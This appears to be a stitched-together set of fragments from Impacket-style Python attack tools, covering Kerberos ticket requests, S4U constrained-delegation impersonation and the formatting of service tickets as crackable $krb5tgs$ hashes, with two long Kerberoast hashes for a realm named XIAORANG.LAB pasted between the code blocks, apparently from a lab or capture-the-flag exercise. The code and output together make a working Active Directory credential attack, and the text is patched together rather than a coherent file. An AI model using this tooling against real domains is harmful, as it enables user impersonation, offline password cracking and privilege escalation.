if TGT is not None: tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'] oldSessionKey = sessionKey
if tgt is None: # Still no TGT userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) logging.info('Getting TGT for user') tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, self.__kdcHost)
# Ok, we have valid TGT, let's try to get a service ticket if self.__options.impersonate is None: # Normal TGS interaction logging.info('Getting ST for user') serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) self.__saveFileName = self.__user else: # Here's the rock'n'roll try: logging.info('Impersonating %s' % self.__options.impersonate) # Editing below to pass hashes for decryption if self.__additional_ticket is not None: tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, self.__additional_ticket) else: tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) except Exception as e: logging.debug("Exception", exc_info=True) logging.error(str(e)) if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0: logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) if str(e).find('KDC_ERR_BADOPTION') >= 0: logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user)
ST $krb5tgs$23$*chenchen$XIAORANG.LAB$xiaorang.lab/chenchen*$7fa0e479f4b98d330648eace979d6899$ef080eb849dde02f3bc909fcb96bb9415c1845edcd907856ecf1a56b6c2af338afffaf7adfb5dc66cfc0dd75bf37a81eda6b6c4542167096e9095eaf7142107b9a2ec26e556090647df180b522ab8a14e19db9a47bb69a16910f7a9e67301dc8b6fb5bb05593651d96238a03475dc6f0a94802301f65decb2b28c8d3e1d5f5d1413e58c6484afa1e53deef504ff0b9d22000519954d09d491f3b707c394248cff0230c2684940b93a881cafb440b4cfe0db4bd45aaa5cd001f91f97291e45506c3d892fd44e27fb6102c242a7023e6b3f25d942d5ca0b321562d955ec8ec750d22a00d9d1aae2f11731770ac7ec39352f8f15fc3223fcee9648870e0d5ff89e64e1e1b6532ae311d086c64bc6ccad31e2eb60e83778927f17880319185bcab68121bd7ee13c0576d174fa91573b6f010f151d807e962870d3e00cd0ae20ccaa2c018ce8d0027cc6795794430c2824dc331ebff70f6d34f43548e1728329840d6fc0309fa97b3d0e77f71d15df082d84561322255fc8b29fce8a922c1e8a34a75de5c764f8d8dc3449aa6359c9b26ff8b779443d46c19220424916bdff44fb939ad69a59fd48a4df5b01eaf1c80a5955994d26880585dd19da25717e395828be889ec279ab254fc220e87acf092ce2f33a98016b38d2556f98f6b4c1a31ff309821d01f3ed2746d7b32967e6f632c39c08f9ac4a53626dd5d2d6836415bc83bf3918f640a4ac71afb6190db79828f7d0775799e412481e4bd84625b23ac96ba168e52693454762c47a13b10120b379db043d8f90b4bd5b998c7e84aab8d65261499d434f5c63c8e8bf43ee4133417fb5b04a86df9926dee30465283566a76b38f004f86e9891ce9a353713d665992695a829756b9b15ca6de95b04cd4e3a2d18767a054018f24bef9a5e40cc8f11ee01b736fefa56e05b3cd2768c0904f7545c731b26a12f311ba7fb40a36ef7eaa57b791bb2484fd98f661d10081b852206d67ddde737d3fdadb920027bf0c611c4b320da0883a075f1150f69d76d39977e3714a10659a69b339f67d6a550e3d84fd9bcf9b54297ac8f17b3202040a6af2bd0250f4495c32c46674ba661932f017d39b462a0c12c21536dfd3be2e6812623cf640f04b74c5de1eaed0be56e2230815dce87a3e7a96973d8ccaa781e65f66004c5ac9dba83a94e33f6c0bde7337a5924637d67777e5ec649b165e20180dd3a2c6f1593bd051beba17b23e0946cc4a48fd32cc3641cded1bb0e526c53d5c8fca3a5d5811f98aa59f1e5f7d086cd139e6b9790f06f1089ee1b3c959bc431949dca81261e21a4646ad0c6d4e42bd0682432bdde3f379c48958903d3dbe96565b80c18bf6334877f8f5057ee198da600ac9234bce72a8e180139df5ded784f06a4b01799a8c8651ad69d211520b06c58aa981c7591b1efcbe95a367eac90548b6d2bc594c710bde364ba58087bf5b8b53727b69139d201ddbf15aa745289a70fda4a824ca5239bcfee7ac22ec9bbb9ec6
# According to RFC4757 (RC4-HMAC) the cipher part is like: # struct EDATA { # struct HEADER { # OCTET Checksum[16]; # OCTET Confounder[8]; # } Header; # OCTET Data[0]; # } edata; # # In short, we're interested in splitting the checksum and the rest of the encrypted data # # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) # last 12 bytes of the encrypted ticket represent the checksum of the decrypted # ticket if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) if fd is None: print(entry) else: fd.write(entry + '\n') elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) if fd is None: print(entry) else: fd.write(entry + '\n') elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) if fd is None: print(entry) else: fd.write(entry + '\n') elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) if fd is None: print(entry) else: fd.write(entry + '\n') else: logging.error('Skipping %s/%s due to incompatible e-type %d' % ( decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], decodedTGS['ticket']['enc-part']['etype']))
if self.__saveTGS is True: # Save the ticket logging.debug('About to save TGS for %s' % username) ccache = CCache() try: ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile('%s.ccache' % username) except Exception as e: logging.error(str(e))
ST $krb5tgs$23$*$XIAORANG.LAB$*$0ce89c5a5440709db8cd0da786ab1ed5$c4b6d477aac038b4958157e55377f91b03788e4173db8c5df6cb3d95a8e2f9d78bd486af0df68960aec23e52ec2a4c9ca7707318d08d9a3c995ab0c70042f2b4c7c7ea9fc269bb31a76597692ca7f2774283d90c3f19f280236fa6c12ec7d52da1c6f24fb7f2a508ba8bb3fcafb4a669bc6856e567ec6d96d82c42600d07aa5fd68a0b298a3964525bdb77d1227df64a9a92a1aeeafacbf5238c92a156450dd934ed5e7bd6b9b8a965e6d522b6c7501ae49d95818aad9304aeb54e75824f02ef3a8855212ecffd272507308ab996b14dd648c7828962995b249c44a74ddacde8ada0f58c7f84d09b2914f48464aa8f02ea129737c3ebe277e39743184c6715967a64feec56aa174d065151fbd36b3d655d7fb7dae66830efa59798023522e6d40d2e17c5d3465609af7df0a61ea66961256455a51405c6162efdab3c29148ff3bdff77923dafec9647b6bb992ba3bd981a0bf60b2f1629cce9bf9f4e2a3dbd62ff21c10a0f5eba667fc8649c2d1eab273c023209e7273bd7eeef39ffd32889ff2467b866e6b454e7bb2b750065ed6b3ddb75a3a0cf6234ed26eab8ed9bd00e685a40036725cfd6416e1c607c91981e19bb71f27d78365756c0e2d0da57166799058b22a7d507b2413191be7a36a887464d6849a18555a9d0b087dd334d9c05687e3d7519110463f4c9d916627f35aa20059dd57b9d35024aa3d716fc20a7c1b4b9d8756c4a9a6aafd81b07033347c718fc23a51b6919c5dded962e0e7e426fd06c15b61feacb3aa9a8d040b74b38e2f333cf3522509e18dd77cd2e3a743084e0dff25ca1d3547cf91575aedd74541bdaa1a96399983b39b12221f157c3ccdfec099b1ba638fbde2a563683d11fe7d5844b13e6d800f0fdcc59056c747b691c5083469f576bac3f4960c176b3e84a74905ef7cb73942e8514cbb00dd2ee74935917c1fe3ff289936eba9aeb1233069f138e623f8593ec37a145148e5320f3ecc0ca06a7107f93d8d7d2f6ed29f03e3a1f547dc7637b40c424e5357f95ddf19d24dcb67ce9a8c166b3c5b28ed9d4da1cae1762c4dda158a8ef06cd4153d9f0eb6fbe695d105bce8e0270e3a24b01156a87e729b5c87fec57f08f91428d3652e5227903665d41fffec8a41b5ddd4426fb3324066af683a86c1bca6e1cc82b04d3a3508bb31e9f5545f63775ed1271c03b498dcad91acc21625bf1b047f7cb9989b8cca254219d85d804ccb51814c538762f5474d44411d9c411b1f99682c0892c6f95e149c6c1fb186486e1e1400b0d888c1b94b3d659ec30e45af95dee0d7e3835b457c8d0a9f7d81c1b9bdc636673972f56118706e56f44238fad032c9e4c2ff906a3483c1437e449f82da86bb88a82be824501940284c59b3e62bcfc5a94faece71397c906b680f122c3c3755811371bf183f018aa927834662bc6d977424a781074ec440ee46cf7df449eeb215bfbf3037d7f208527a7d929c828f4752d01decf011d0a0aa9746a1b5a64694d04